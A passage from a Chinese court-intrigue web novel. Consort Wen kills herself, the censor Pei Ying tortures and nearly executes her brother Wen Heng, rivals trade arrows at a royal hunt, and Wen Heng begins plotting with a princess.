皇帝威严的面上覆着秋夜的霜寒,他垂着眼,看着眼前这个慌张无措却又惊喜非常的女人,不由想到了当初长袖善舞的面若桃花的女子,她一双秋水眸于彩袖之隙翩然望来,生生让他醉在里面。 “朕问你,李夫人的死,可与你有关。” 到底前尘旧梦,骤然浮起,转眼便又忘却。 皇帝的声音威严而又冷冽,温夫人顿时直起了身子,满布血丝的眼睛惶恐不安地看向了皇帝。 “朕听闻市井多有流言,唱的是宫中有人杀人夺子,不知你可知道。” 他的话寒冷而又无情,直直戳在温夫人一直力图回避之处。 “陛下之意,难道只是诘问臣妾知否?” 温夫人并非擅于扯谎之人,一言一语便也露了马脚。 “看来,你是知道了。朕从未想到你竟然这种恶毒的女人,李夫人与你何怨何愁,不过就是奚落了你几句,你竟狠心害死了她!” 皇帝最后一点温情也随之便扯了下来,他一招手,他身后早就预备着的两个宫娥也就走了过来,一左一右便将跪在地上的温夫人拉了起来。 温夫人如同一枝折断的花枝一般绵软无力,任凭宫娥们拉扯着将她粗暴地拽了起来。 她多么想辩解自己绝无害李氏之心,可是如今事实就在眼前,李夫人死了,被她的弟弟害死了,她的儿子交由自己抚养,为自己在后宫增添了一分保障。 事实已成,再无辩解之地。 温夫人垂下头去,豆大的泪水自面颊落下,重重地砸落下来,她缓缓地跪倒在地,两臂却依旧为宫娥束缚着,她像一只被狠心之人剥去花瓣的花,孤零零地剩着折断的花枝苦苦坚持着。 “陛下难道信臣妾是一个心狠手辣之人么。” 她满含泪水的看向昔日浓情蜜意的爱人,字字泣血,可是那人却不再回应她的痛苦,她的悲伤,她的无措。 “臣妾只知感念陛下恩德,日日谨守宫规,听皇后娘娘训,不敢有丝毫逾矩之处,又何敢为此等大逆不道之事。只是流言杀人最是难断,陛下乃是圣明之君,故请陛下念在往日情分上,在事无定论之前,万勿牵连臣妾母族。” 她纤弱的身子折了下来,白皙圆满的额头重重地叩在地上,久久不起。 皇帝似有所动容,可是嘴唇嗫喏,终究未说什么。 温夫人站了起来,踉跄着在宫娥的押送之下走了出去。 碧娘正自高兴,盼着此夜温夫人能够再度怀上子嗣,可是她在冷风跪着等了好久,就听踉跄的脚步声传来,灯影交错照亮她的眼皮。 她抬起眼帘来,鲜血顿时飞溅在眼珠里,一片鲜红。 “啊——” —— 裴瑛虽未将裴明绘送去河东,却也不再见她,他吩咐了春喜夏荷二婢女,仔细看护小姐,如有不测尔等怕是承担不起。 二婢女诚惶诚恐,唯唯称诺。 ———— “大人,宫里温夫人殁了。” 御史府干员传了消息到裴瑛近前。 裴瑛正负着手,闻言便转过身来,沉声问道:“怎么死的。” “自戕而亡,听宫里消息,说是撞在黛云殿柱子上死的。” 裴瑛一抬手,便让他住了话头,随即一思忖,便吩咐道:“备马,去国狱。” 国狱乃是专门关押戴罪朝臣之地,不必一般牢狱,看守更为严密,加之裴瑛特地嘱咐,更狱丞狱吏绝无收受外人钱财之可能,所以,外面的人也绝无可能与里面的人通气。 夜雾深重,悬在国狱石门之前两盏风灯发着惨惨的红光,分外渗人。 持着刀枪剑戟的守卫踩着踏踏的步伐整肃游走,戍卫着国狱,在外等候的官员一见御史大夫裴瑛驾临,登时精神起来,大踏步而来。 裴瑛遂勒住缰绳,骏马长嘶变为走马,他翻身下地,稳稳站住,一旁之官吏顺势牵过马来。 “人怎么样了?” 裴瑛向着大门走去。 “人还清醒着,大刑已经上了,只是嘴太硬了,死活都不招供。” 国狱的官员擦了擦额头的汗珠。 裴瑛不出手则已,如若出手,则定然叫他死无葬身之地。 国狱并非直接建于平地之上,而是半数陷入地下,推开沉重的箍着铁条的木门,狭长逼仄的由大石砌成的甬道便展现在眼前,阴沉而又潮湿,连甬道两侧的灯火都阴恻恻的,照亮裴大人的衣衫的青色竹叶,紧密的丝线幽幽地闪着惑人的光泽。 走到甬道的尽头,隔着栅栏的间隙,裴瑛如愿看见了自己想要看见的场景。 第50章 崩坏前夕 他慢慢地走着, 目光越过徐徐退后的栅栏,缓慢而又仔细地将其后景象览入目中。 一个满身是血的人被粗重的铁链捆绑在行刑架上,无力地垂着他原本桀骜不驯的头颅, 黑色的发也被血块粘连,像是破旧的蛛网一般悬在半空。 他像是一块破旧的红布, 凄凄惨惨地挂在架子上。 裴瑛沉默地看着他,一层风灯的光芒落了下来,虚虚晃晃地映着他的侧颜。 他抬手示意狱卒开门,随着一阵叮叮当当的声响,沉重的栅栏门被推开了,激起了一大片在火光之下飞舞的尘埃。 黑色长靴踩过冰冷的坑坑洼洼的地砖, 稳稳地停在了行刑架之前。 “好久不见温小公子如此狼狈的模样了, 本官甚是想念。原以为再也见不到了,却不曾想,温小公子自己不想活了,又回到了我手里。” 裴瑛垂下眼眸, 心底的情绪无声流露出, 化作嘴角的一丝冰冷而又美丽的弧度。 “不过温小公子到底好本事, 杀了宫妃却依旧潇洒自如,甚至入狱之后依旧死不招供。你有这份本事,却偏偏行在歧路之上,实在是可惜。” 温珩垂着头, 像是死了一般。 但是裴瑛知道温珩是清醒的。 他继续出言讥讽:“还装睡?如今看来,温小公子也不过是个懦夫,自己犯下的错, 却叫无辜的温夫人来承受。” 一言未毕,温珩瞬间抬起了头, 原本黑白分明的眼珠已然爬满了血丝,血丝逸散开来浑浊了眼底,他目眦欲裂地看向裴瑛,咬着牙低声说道:“你要干什么?” 裴瑛:“这是陛下的意思。” “什么意思,我阿姐怎么了!”温珩整个人瞬间躁动起来,若非铁链将他禁锢,他定然扑上了,狠狠撕咬眼前之人。 “温小公子当觉得杀母夺子之后,温夫人又该有何种下场?” 裴瑛反问道。 温珩正欲反驳,可是瞬间脸色煞白,脸上的血气与煞气也退了下去,取而代之的事迷茫与恐惧。 “你要害我阿姐?” 大牢严密,又有裴瑛精心安排,看守在温珩牢狱的狱卒都是裴瑛亲自指派,故温珩自然不知道温夫人已然自戕的消息。 “怎么是本官欲害温夫人呢?”裴瑛将手负在身后,长身而立,牢房内的惨惨摇动的灯火将其投影在粗糙的青石地面之上。 “难道不是温小公子做事不计后果吗?” 温珩却是冷笑一声,艳丽面容在鲜血的映衬之下变得像是吸食鲜血的妖鬼,晃动的烛火落在瞳眸正中,却像是跳动的心脏。 “区区流言,陛下又怎么会轻信一个没有根据的流言呢。我劝御史大夫莫要太过自信了才是,你自是祸水东引了,却难保最后不会引火烧身。” 看着温珩大难临头却依旧如此张狂的模样,裴瑛的便知道他倚仗自己并无证据而不能对他如何,也无法对温夫人如何。 又或许温珩倚仗着朝中某些了不得的大人物,期许着他们来救自己。 所以当此之时,当杀之而后快,省的某些人再来多事。 同时,让温珩临死之际再受重创,让他就算是死也无法闭目。 裴瑛一路走来,最擅长的便是拿捏人心。 心思既定,裴瑛便敛去面上的笑意。 “好啊,看来你的亲生姐姐的死,也无法让你有所改悔,有所收敛。” 温珩不意他竟轻而易举说出了这番话,一时之间竟摸不清是真是假,正欲出声诘问,却有将其咽了下去,可是一观裴瑛风雨不动的神色以及眉眼间淡淡的怜悯,急剧跳动的心脏却又让他把卡在喉咙的里的话吐了出来。 “我阿姐真的死了?” 一睹温珩之震惊之错愕,裴瑛面上不由浮现出了极为微妙的神色,他似笑非笑地看着他,并不答话。 一刹那,温珩内心所有的防线悉数崩溃,那些自以为掌控全局的自信也瞬间烟消云散,他的眼睛静止了,直直看着裴瑛,他的心脏似乎也不再跳动。 火苗噼里啪啦,温珩突然暴怒起来,挣扎着扑向裴瑛。 裴瑛翩翩然后退一步,微笑着看着温珩的痛苦。 温珩终究被再被铁链牵制,只能作被困在牢笼里的野兽,疯狂地嘶吼着咆哮着,粗重冰冷的铁链深深勒进肌肤里。 “你为什么逼死我阿姐,我阿姐又未曾害你!” 温珩歇斯底里地吼叫着,铁链不断地震颤着,连稳固的刑架也随之摇晃。 “那你为何欲害我妹妹。” 裴瑛的笑意一下子消失了,他猛然掐住温珩的脖颈,骨肉匀称的修长指节一寸一寸收紧,慢慢夺去他呼吸的权利。 “难道我的妹妹可曾害过你?既然照温小公子的说法,你我之间的恩怨,又何必牵扯到她的身上。” “现在温公子知道是何感受了,你道温夫人是谁害死的,不是你这个好弟弟吗。” 裴瑛冷声反问,他垂下眼帘,浓密优雅的眼睫在他的眼底投下一大片阴影,遮蔽其间滔天的怒意。 “你为了自己的姐姐,杀了李夫人的时候,也曾思虑过李夫人罪不至死吗?” “裴瑛,我杀了你我杀了你!我迟早叫你痛不欲生!” 温珩从未如此失态过,他虽遭大难,可是温家却依旧完好,亲人也未曾离散,他也依旧是万众瞩目的小公子,就算几次遭逢打击,也不过就吃了几次苦,但很快就有人将他救了出去。 以至于叫他生了自信,以为自己在他们的帮助之下,可以扳倒裴瑛,并取而代之。 “只可惜你没有这个机会了。” 裴瑛骤然松了手,温珩艰难地喘息着,浑身上下都在痛苦地颤抖着。 “难道你敢杀了我吗?” 温珩呵呵地笑着,阴沉森然,像是毒蛇的嘶声,一双漆黑眼眸,像是淬了毒一般森寒恐怖。 “如今证据未全,你可敢杀我。” 裴瑛挑眉,声音也随之疑惑地扬了起来:“为何不可?” “大狱里面,死不招供的人,自然要施以酷刑,当然,温小公子也可以畏罪自尽。” 裴瑛笑着询问温珩的意见,眼睛眯了其间,光也汇聚其间,形成寒冷的一点。 “你难道不想将我碎尸万段吗?”温珩冷笑道。 他知道,裴瑛恨不得将其碎尸万段,但是裴瑛不能,他不能尽其所欲地处置他。 因为他不顾及自己的性命,也须得考虑会不会牵连到他的妹妹。 “当然,在下也想。”裴瑛的唇畔的一丝笑意已然浸润了冰冷的杀意,“只是可惜,陛下还念着你这张脸,所以不能,所以,只能让你畏罪自尽了。” 就在他冰冷修长的手搭上他的下颌之时,温珩的心里再度涌上了如那夜一般的恐惧,裴瑛居高临下执刀搁在他的脸颊,雪光滑过锋锐的刀锋,映进他无措的眼眸中,全身的血肉都在疯狂地战栗着。 裴瑛自一旁的刑架上拿出浸透了鲜血而生成血色锈迹的钳子,一手卡住的下颌,迫使他张开嘴。 可就在此时,一声通报打断了裴瑛的动作。 “大人,窦大人前来,说是要见大人一面,现在已在厅里等着了。” 窦大人,如今朝廷里头已经没有姓窦的官员了,若是如今夜半三更能来此处的,除了曾经的丞相窦玉,又能是何人。 裴瑛长眉紧蹙,很是不爽地将钳子丢回案板之上,甩袖走出了牢房。 —— 夜更加地深了,雾也更加地浓了,它像是欲云的浓云一般,带着阴寒逼仄的潮湿,飘飘漾漾地流动在长安各处。 国狱的处事大厅门外戍守着全副武装的守卫,而屋内则只安静坐着一位老人。 窦玉已经是快要六十岁的老人了,自从上次被革职之后便一直在府中休养,闲时养鱼养鸟以度岁月。 他业已两鬓斑白,整个人也苍老了许多,再也没有当初斡旋庙堂的意气风发。 他披着厚厚的狐裘,坐在长案之后,若有所思地盯着幽幽颤抖着烛火,浑浊的眼睛却融不进一丝光亮。 他眨了眨眼,缓解了眼睛的干涩,又四处看了看,听闻门外脚步声,方才转过头去,大门被一双手推了开来,雾气先一步涌了进来,却又很快消失不见。 窦玉却知道,那不是不见了,只是人的眼睛看不见罢了。 “窦公。” 裴瑛笑吟吟地走了过来,先一步扶住了预备起身相迎的窦玉。 “窦公大驾光临,怎的不提前通知一声,也好叫玄则有所预备。” 窦玉呵呵笑了起来,拍了拍裴瑛的肩膀:“夜半叨扰御史大夫本就是老夫之过,御史大夫太过客气了。” “不知窦公大驾光临,所为何事?可是有什么要紧之事急需处理……” 裴瑛撩衣在另一侧的长案之后坐下,目光灼灼地看向窦玉,微笑着向他拱手,恭敬地询问着。 “又或是玄则所执之政治何处出了错误,那还请窦公不吝指教。” 窦玉:“哪里哪里,今老夫不是丞相了,也不敢在朝事指点什么。” 裴瑛静静地等待着窦玉接下来的话。 “只是老夫与御史大夫是旧相识,今见长安大有变动之势,因着老夫活得年岁长些,知道事情也较多一些,有几句话想要告知御史大夫。” 他话说得诚恳,甚至让裴瑛都有几丝好奇,他到底想说什么,又意欲何为。 “还请窦公指教。” 裴瑛态度依旧恭谨。 窦玉的目光不动声色地在这个年轻人脸上停留,而后又借着叹气将目光收了回来。 “宫里温夫人的死陛下勒令不准外传,可见陛下已然起了疑心,此事全赖流言而起,陛下势必会彻查流言。” 窦玉的目光再度放在了裴瑛的脸上。 “还请御史大夫早做打算。” “流言?” 裴瑛的唇畔扬起了淡淡的笑意,漆黑的眸中风云不动,似乎一切尽在掌握。 “我已然想到了,就算最后查,也是查到温珩自己头上。” 毕竟流言的源头是温珩的人,或者说,是温珩身后的人。 在处理市井消息的方面,裴瑛的手法很是精细,让两方流言紧紧缠绕在一起,难舍难分,同时在流言有扩大之时,他的人就会悄然退出,并将流言的源头附加在那群人的身上。 看着裴瑛不为所动,窦玉顿了顿,随后慢慢地摇了摇头。 “御史大夫这一路还是太过顺利了,不知道此时之顺利,只是敌人的故意放行罢了。” 灯烛噼啪,裴瑛的眼眸如帘子半敛起来,过了许久,方才抬了起来,眸中已然不见了笑意,而是些许的疑惑与不解。 “还请窦公明白指教。” 窦玉:“此时不宜轻动,当作壁上观,等待机会,再行决策。” 裴瑛反问:“如若不然呢。” 在旁人听来,他的语气并无违抗之意,似乎他真的是一个善于询问的好学生。 “怕是御史大夫将要引火烧身,倒是自难相顾,遑论杀人解愁了。” 窦玉的语气陡然严厉起来,却又在下一句又柔和起来。 “只是老夫顾念御史大夫这一路走来不容易,特地劝告,如今朝中波谲云诡,不知多少人眼馋眼热御史大夫你这个位子呢。温家虽说大不如前,却也是瘦死的骆驼比马大,朝中不知有多少人与之有利害牵连,你今杀温珩,便是逼着一众人与你作对。如今老夫已然不能管事,爬怕是到了危机关头,也保不了你。就算御史大夫位高权重,不为自己考虑,也须得为你的妹妹考虑。若是陛下得知这一切,他怕是不会顾及裴小姐曾经的功绩的。” 裴瑛眨了眨眼睛,虽然他很想说一句话,可是转瞬间他似乎有明白了什么,便也将其咽了回去。 有些事有些话,不把它挑明白了,才能和睦相处。 “玄则明白了。” 裴瑛的笑意本来渐渐消失,却又在对上窦玉视线的那一刻陡然升了起来。 “玄则谨遵窦公教诲。” “老夫知你多年经营实在辛苦,不忍你基业摧折,还望以后行事多思多虑,莫要一意孤行才是,多多调和各方,才是存身之道。” 窦玉如师长一般谆谆教导道,他用手臂撑着桌案起身。 裴瑛起身相送,一路送他出了国狱的大门,亲自扶着他上来辎车,而后矗立着浓雾之中,看着辎车驶入惨白浓雾里,连带着辚辚车马声在也听不见。 裴瑛的目光似乎也流淌着阴沉冰冷的秋霜雾霭,嘴角那抹恭敬的笑意也逐渐沉了下去。 他知道窦玉的意思,因着过去的恩情,他也不便拒绝他的意思。 可窦玉到底是为何而来。 为他的安危吗? 裴瑛对这个想法嗤之以鼻。 过去,他受他的指点,杀了不少他的政敌,为他的青云路铺垫了多少鲜血,又多少次险些踏入死地。 不过各自为着各自的利益罢了。 大抵官场之上的人都这样,分明是在强迫你做什么,可是却总得冠冕堂皇地冠上一些为你好的诸多理由。 裴瑛垂下头,笑了笑,笑意散尽之后便慢慢地抬起头来,原本清丽优雅的五官渐渐染上了一分凌厉狠毒,随着他的动作,这份情绪渐渐地消失,情绪的余波化作眸中未散的涟漪。 他转身离开,颀长的身影渐次走入浓重的惨白雾霭里。 暂时的隐忍与退步,只是为着下次的进攻的蓄力罢了。 * 这场宫廷风波最终以温夫人的冤死和传播流言之人的族灭而结束,当这个消息传到被禁足在自己院子的裴明绘的耳朵的时候,她惊得险些连手中的药碗都没拿住。 洁白无瑕的玉碗里盛着漆黑的药汁也随着动作也兴起一片接着一片的水波,苦涩的药味再度弥散开来,冲淡了屋中馥郁的檀香。 她将药碗搁回了长案之上,自己也失去力气,靠在了凭几之上,手撑着因为思虑过重而昏沉沉的头,乌黑的发髻上斜插的一枝金桃枝幽幽地摇晃着,似乎有骀荡春风游移其间。 她万万没有想到,最后宣布温珩无罪的,竟然是裴瑛。 按照裴瑛的态度来说,他应该恨不得将温珩碎尸万段才对,怎么会在大功行将告成就这么轻飘飘放过了温珩。 可是他竟然放过了温珩,他竟然放过了他,他为什么放过了他? 她甫才放下药碗,春喜夏荷二婢女就诚惶诚恐地迎了上来,一个端着药碗,一个拿着蜜饯。 “小姐快喝罢。若是药凉了,怕是药性就不好了。” 春喜拿着玉碗凑了过去。 “小姐别怕苦,先吃颗蜜饯。” 夏荷把蜜饯凑到裴明绘的唇边。 “……” 裴明绘略有些不知道说什么才好,她只偏过头去,无奈地摆了摆手。 “你们当我是小孩子吗,吃药还用哄着,都放下罢,我自己等会儿就喝了。” 二婢女面面相觑,一脸担忧地又把杵在原地不动。 “?” 裴明绘登时坐直了身子,长眉挑起,话语间隐隐带了怒意:“你们这是干什么,连我的话也不听了吗?是不是我一贯待你们太好了,让你连分寸是什么都忘了。” 二婢女见裴明绘生气,顿时搁下手中东西,跪倒叩首,吓得如同鹌鹑一般:“还请小姐息怒,这是大人的意思,还请小姐吃药罢!” “你们……” 裴明绘顿时也发不起脾气来,只挥了挥手,叫她们将药碗端了过来,仰头一口饮尽了。 若是小口饮也就罢了,偏偏裴明绘是一口喝毕,登时苦得她顿时呕出来。 春喜见状,连忙托了铜盆去接,裴明绘单手艰难地扶着身后凭几,呕了好几口才呕得干净,她这一吐,险些便将胆汁也要吐了出来。 “小姐慢些。” 两个婢女紧张兮兮的,你看我我看你,连忙递过帕子去。 “这药怎么这么苦。” 裴明绘擦了擦嘴,她几时喝过如此苦的药,便知其间定然有几分故意在,便不可抑制地发了脾气。 “你们是不是故意的,谁煎的药,把他给我叫过来!” 眼见小姐发了脾气,二婢女也不敢隐瞒,春喜颤颤巍巍地说道:“这是大人的意思,说是要小姐喝些苦药,方才能体会他的苦心。” “……” 裴明绘顿时就枯萎了下去,火气也消散无踪。 她推开窗子,看着外面已然落了满地的白霜,原先生机盎然的茵茵绿草也暗沉下来,上头借着晶莹而又冰冷的霜。 每一次呼吸,都是药汁的苦涩与空气的冰冷,混在一切,却让药的苦味更加真切了。 “那他还说了什么。” 裴明绘问道。 “大人……大人还说,近来天寒,不宜出门,小姐还是在屋中尽思己过,改悔之后再来寻他。” “还有呢。” “若是不悔,也就不必再来找他了。” 春喜战战兢兢地说道。 错错错,悔悔悔! 什么都是错,什么都是悔! 裴明绘的心底泛上一阵一阵的酸来,她扶着窗柩,慢慢地失去力气,跪坐在地上,无声地哭泣着,颤抖着,弯折的身躯像是在寒风中瑟瑟发抖的草叶。 屋子一角摆着错金博山炉,那缕缕朦胧香雾自奇绝山峦的镂空之处袅袅升了起来,逸散在温暖的屋子里,飘飘然熏染了女子的衣袖裙裾,甚至那悬在脸颊上泪水。 她不知道什么是对的,什么是错的,可是难道一味压抑自己的本性,就是对的吗? 裴明绘不知道,也不明白自己该如何做,若是以前,情谊尚未勘破,自己尚可独自哀怜强迫自己压下所有越轨的情感。 可是她的情丝业已明白地袒露在裴瑛面前,过去的小心思与谎言都已经被识破,过去自己在他面前所立下的乖妹妹形象已然荡然无存了。 她已经没有回头路了,她绝对无法忍受裴瑛像是看着孩子一样看待自己的感情,也无法接受他一次接着一次地否认自己的感情。 若是她真的让步了,裴瑛真的娶了自己心爱之人,自己又该置于何地,自己就像是一个暗中窥伺着他人幸福的小贼,在阴暗中流着痛苦的泪。 今已然到了破釜沉舟的时候,自己何不能拼上一拼呢? 若是她真的无法得到裴瑛的心,便自己回河东去,决不让他再为难了。 —— 南山之下是一片广袤的起伏舒缓的平原,它们的交接之处是一片美丽的森林,在带着寒意的秋风的照拂之下,原本单调的绿色便蜕化成了许许多多鲜亮美丽的颜色,他们交杂在一处,在清晨的红日之下的照应之下顿成朦朦胧胧的红色剪影,而贵为皇家猎场的南山也在秋季日渐深浓的今日喧闹起来。 萧萧马鸣辚辚车声连绵不息,其间穿插着悠扬起伏的沉重号角之声。 苍茫的南山也随之插满了飘扬的大汉旌旗,一片一片各色行营驻扎在此,羽林卫或骑或行戍守在此处,一切喧闹而又井然有序。 裴瑛站在山巅的平台之上,俯视着山脚平原上忙碌的一切,看着在山林水泽之间奔逃的野兽,秋风拂过茫茫水泽,片片涟漪跃动着清澈的秋阳。 一声长长的号角响彻原野,顿时漫山遍野的威武士卒浩浩荡荡驰骋而来,顿时分作三面将整座猎场包围住。 “找了半天都未找到你,原来在这儿。” 带着森森铁片甲叶的长靴踩过满地黄叶,含着爽朗笑声的声音自裴瑛身后传了过来。 裴瑛虽然没有回头,但他一听声音便知道是谁。 大司马大将军。 谢无疾。 裴瑛回头去,借着身后冉冉升起的红日看清了来人的模样。 全幅大将军甲胄,身后背着硬弓长剑,身姿挺拔朗目星眸,经过大漠风霜磨砺的小麦色的皮肤让那双漆黑的眼眸更加深邃,微微扬起的唇角,无一处不是久经沙场胜券在握的大将军的方才有的从容自信。 “狩猎要开始了,御史大夫还不前去主持,何故在此望风。” 谢无疾走到裴瑛身侧,顺着他的目光看去,只见辽阔原野与浩荡天地相接,而这漫山遍野,都是大汉的旗帜。 谢无疾心底不由升出一股豪情壮志来,叫他心潮澎湃。 “早晚有一日,我要这我长剑所指目光所及之处,全都插满大汉的旗帜。” “谢兄志向高远,想必不日就能实现。” 裴瑛的眉头紧缩着,似乎一刻也不能松泛下来。 谢无疾鲜少在裴瑛如此颓唐,就连声音也似乎没了过往的意气,他偏过头去就见裴瑛久久地看着前方,可他分明看着辽阔的天地,眸光却微微有些涣散。 似乎他的心思并没有放在这里,似乎飘向了很远很远的地方。 可是最近朝中并未发生事,那些一贯不安定的人也吸收了温珩的教训而安分了不少。 “出什么事了吗?” 他压下声音,低声问道。 裴瑛收回目光,微微偏过头,冷冽的风带起的发丝擦过他的面容。 他沉下头微微一笑,而后又将目光放了回去,秋阳落在他的面容之上,让他的肌肤竟泛着玉石的细腻光泽,只一双漆黑眼睛却缠绕着散不开的忧愁情绪。 “是啊,有一些烦心事,总也解决不掉。” 谢无疾:“世界上还有你裴瑛解决不了的事吗?既然解决不了事情,何不将人解决了。” 裴瑛闻言,忍不住笑出了声:“谢兄的建议很好,不过我可不敢这么做。” 谢无疾忍不住追问道:“到底是什么人,如此厉害。” “她啊,算了,还是不提了。”裴瑛转过身来,笑容也不再舒畅,而是缠绕了几分难言的苦涩在,他向谢无疾招了招手,“走了,狩猎该开始了。” “猎物也很快要上场了。” 裴瑛缓缓地扬起唇角,那一抹笑意映着清澈的秋阳,竟格外艳丽,隐隐约约间,流动着狡黠与血腥的光泽。 又是号角长鸣,皇帝坐在帷幕之下,看着众将士纵马车驰骋,不由喜笑颜开。 “陛下怎么这么高兴。” 谢皇后微笑着捧着一爵清酒奉到皇帝身前,柔声问道。 “今日无疾说了,要一马当先狩最好的麋鹿给朕,朕能不高兴吗?” 皇帝哈哈大笑,接过酒爵来。 “陛下太宠无疾了,也不怕他骄纵。” 谢皇后温声劝道。 “天赐朕良将,朕自然要宠着他,莫说他还给朕打了个大胜仗。” 皇帝高兴地将爵中一饮而尽,余光一转,便落在一旁守候着一脸不高兴的温珩,便抬了抬手,示意他过来。 “温珩啊,过来。” 温珩挤出一丝笑意来,恭顺地走过来单膝跪下:“陛下。” “别不高兴了,都过去了,你也别误会御史大夫,他毕竟也是按公办事。如今你们既然握手言和,过去的事也就都过去了。” 过去的事,也就过去了。 皇帝的话轻飘飘的,可落在温珩耳中确实格外地沉重,他沉默地守候在帝后身侧,看着他们琴瑟和鸣,看着他们喜笑颜开,心中的怨恨犹如烈火一般燃烧起来,可是就算他的很已然连天,他也不能表露出分毫。 他只能露出恭顺的表象,奉承着九五至尊的皇帝,让他高兴,让他顺心,只有这样,他才能有机会一雪前耻报仇雪恨。 “你也去罢,去散散心,别整天耷拉个脸了。” 皇帝也不愿意看见温珩整日不高兴,挥了挥手,便让他下去了。 “温大人是该散散心了,此日秋阳正好,本宫便祝绣衣使者马到成功罢。” 谢皇后知道温珩的姐姐新丧,心情定然不好,便出声安慰道。 “谢皇后娘娘,臣这就去,还请陛下娘娘安坐。” 温珩本来不愿意去,可是皇帝的命令已经下达,温珩只能遵守。 换好戎装骑服,温珩翻身上马,纵马遂大队而去。 密林深深,呼声阵阵。 各色骏马驰骋其间,驱赶各色飞禽走兽,一只只利箭自弦上飞出,旋转着划破空气,直直射向猎物的咽喉。 它们发出最后一声悲鸣,重重摔倒在草丛之中,鲜血飞溅开来,落在枯黄的带着露水的草叶之上。 温珩心中含恨,下手愈来愈狠,眼见一只麋鹿从眼前掠过,他顺势搭箭直射而出,奈何这只四不像委实行动如飞,一个纵跳也就跑了开来,利箭插在古树的树干至深,入木三存嗡鸣不息。 温珩顿时恼怒,飞马再度追去,不意却进入了林子的深处,光线越来越少,人声也越来越稀,以至于再也听不见了。 而与此同时,一只利箭已然对准了他的咽喉,一缕微弱斑驳的光线从层层叠叠的树叶缝隙之间艰难地落在了冰冷锋锐的箭簇之上,顿时化作了凛冽肃杀的寒芒,寒芒折进那一双漆黑得好似无底深渊的眼睛里,很快便吞噬不见。 箭离弦,带着无尽的杀意,射中了温珩的坐下的骏马。 骏马嘶鸣着重重摔倒,连带着温珩重重滚落,堪堪摔到一处大树之上方才停住,一时树叶纷纷落下,飞舞着旋转着落在他的身上。 而与此同时,深林中一处虎啸传来,温珩卒然翻滚起身,三道破开树皮的锋利抓痕深深刻在树干之上。 “什么?!” 温珩显然没有想到此处竟然有猛虎,他一回头,那满布黑色横纹的浅黄色毛皮就映入眼帘,它张着血盆大口,露出锋利的獠牙,铜铃一般的黑色眼球死死锁定着温珩,满布倒刺的舌头留下腥臭的涎水。 它四肢猛然发力,再度扑了过来。 温珩猛然后退,借着树木四处躲避,不少较为细弱的树木在猛虎的冲击之下直接断为两截,哗啦啦地砸了下来。 温珩顺势拔自箭袋之中拔出一箭,引弓而射,直直射进它的喉咙里,鲜血飞溅老虎庞大的身躯轰的一声砸落在地,顿时砸起一阵落叶纷飞与尘埃纠缠。 可就在他回头之时,空气中传来熟悉的咻咻声,可未待温珩回头,又是一箭将飞来的箭拦腰折断。 箭杆摧折,重重摔在干枯草木之上。 裴瑛讶然,目光迅速寻到箭来之处,看见了快速跑开的身影。 他回过头去,正好看见了凝视着他的裴瑛,眼中是尚未散去的杀意。 四目相对之时,两方同时引弓搭箭,长箭已然在弦,弓弦业已绷紧,却又同时不发。 彼此都欲将对方碎尸万段,可是时机未到,却不能冒然动手。 踏踏马蹄声与喧闹的人声传来,二人却又不约而同的放下了手中箭,眸中的杀意又一同转化成了深浓的讥诮。 最会在观众都到场之后,变成友好的笑容。 政敌之间,当是不死不休。 从来没什么握手言和。 退一步,看似海阔天空,实则是万丈深渊。 —— 同年九月廿三,沈蓦有罪,自杀,侍御史温珩补之。 九月三十日,御史中丞李重被下属检举贪污受贿,下狱死,侍御史陆吴补之。 …… 朝中升降贬职之事几乎每过一个十日都要发生一次,而这么频繁的职位调动,则是朝堂内部激烈斗争暗流的浮现在水面上的泡沫与涟漪。 当最后一片枯黄的叶子从枝头坠落,寒风业已再度呼啸在广袤的关中平原,流窜在长安的大小街巷里,长安百姓也都蜗居在屋子里,围坐在燎炉旁边,诉说这一年长安城所发生的大事。 南云长公主立在未央宫苍池边上,垂首看着已经开始结冰的池水,以及池中自己的倒影,心中郁结的烦闷像是彼时头顶苍天的乌云一般。 一旁的宫娥见她面色不好,也不敢说什么,只是静静地守候着,生怕惹恼了这位长公主,再无端挨上一顿骂就不好了。 她站得有些累了,便也就在一旁的大青石坐了下来,眸光依旧落在水面之上,可很快,一道金红色身影慢慢闯入了水面之上。 刘竺一惊,猛然回头,便见温珩笑吟吟正地看着她:“你干什么!” “微臣见过长公主殿下。” 他依旧如往常那般温润有礼。 “起来罢。” 刘竺一见是温珩,也就微微放下了心,她与温珩一贯交好。 “你前来见本公主是有什么事吗?” 温珩微笑:“自然是好事。” 刘竺拧眉,显然不信:“怕只是你温大人的好事罢。” 温珩依旧笑着,朱唇扬起露出整齐的银色齿列:“是啊,那殿下可想知道?” 刘竺蹙眉:“温大人是不是很闲,若是时间太多,还请移驾别处罢,本公主可没有时间陪你消遣。” 温珩却也不恼,只是将目光挪向了侍候在侧的几个宫娥身上,刘竺心领神会,便挥了挥手,叫宫娥们都退了下去,她的目光放在了温珩身上:“什么事,说罢。” “微臣这里有一个法子,可助公主心愿得成。” “助本公主心愿得成,温大人既有这通天的本事,怎么自己这么狼狈呢。” 刘竺毫不客气地讽刺道。 温珩的眸中闪过一丝阴暗,但是很快就被压了下来:“殿下说笑了,微臣虽曾输过几回,却也曾胜过几回。” “胜过几回算什么,本公主告诉你,少跟裴瑛作对了,把他整死,本公主绝对饶不了你!” 刘竺的美眸扫过,话语中也带了威胁之意。 “自然,微臣知道裴大人是殿下心爱之人,自然不会伤及他的性命。可殿下细想一下,裴大人为何总是屡屡拒绝殿下?” 虽然温珩话中并无讥讽之意,但单单把事实说出来,就足以让刘竺恼羞成怒了,她一把拔下头上精巧的金钗重重砸了过去,温珩将神一躲,出手一捞,便将金钗接在手里,又恭敬地奉到了刘竺身前。 “殿下息怒,微臣并无它意,只是想要帮助殿下罢了。” 刘竺冷笑一声,长眉挑起:“哦,那你也别卖你那惹人烦的关子了,且将你的法子说出来。” “臣观裴大人为人,其心性高傲,又屡次与殿下为难,所倚仗的不过是自己的位高权重,兼殿下爱慕其久矣,所以才有恃无恐。” “我道温大人有什么好话呢,原来不过是这些陈词滥调,看来升了官,心思如昨,还是没一点长进。” 刘竺似乎没了耐心听他说这些话,起身甩袖就要离开。 “微臣可以帮殿下得到裴瑛。” 含笑的话从身后传来,刘竺一下子停住了脚步,回头看向温珩。 陡峭寒风吹得他衣袖盈风,他踏着悠闲的步子慢慢走了过来,于刘竺身侧,压低声音,慢慢说道:“只消殿下帮忙,我便可为殿下摘得这开在高岭上的花。” “真的?” 刘竺虽然心有怀疑,却也不免为之心动。 “你且备细说来。” 温珩一笑,弯腰附在刘竺耳旁,细细说了许久。 “可……” 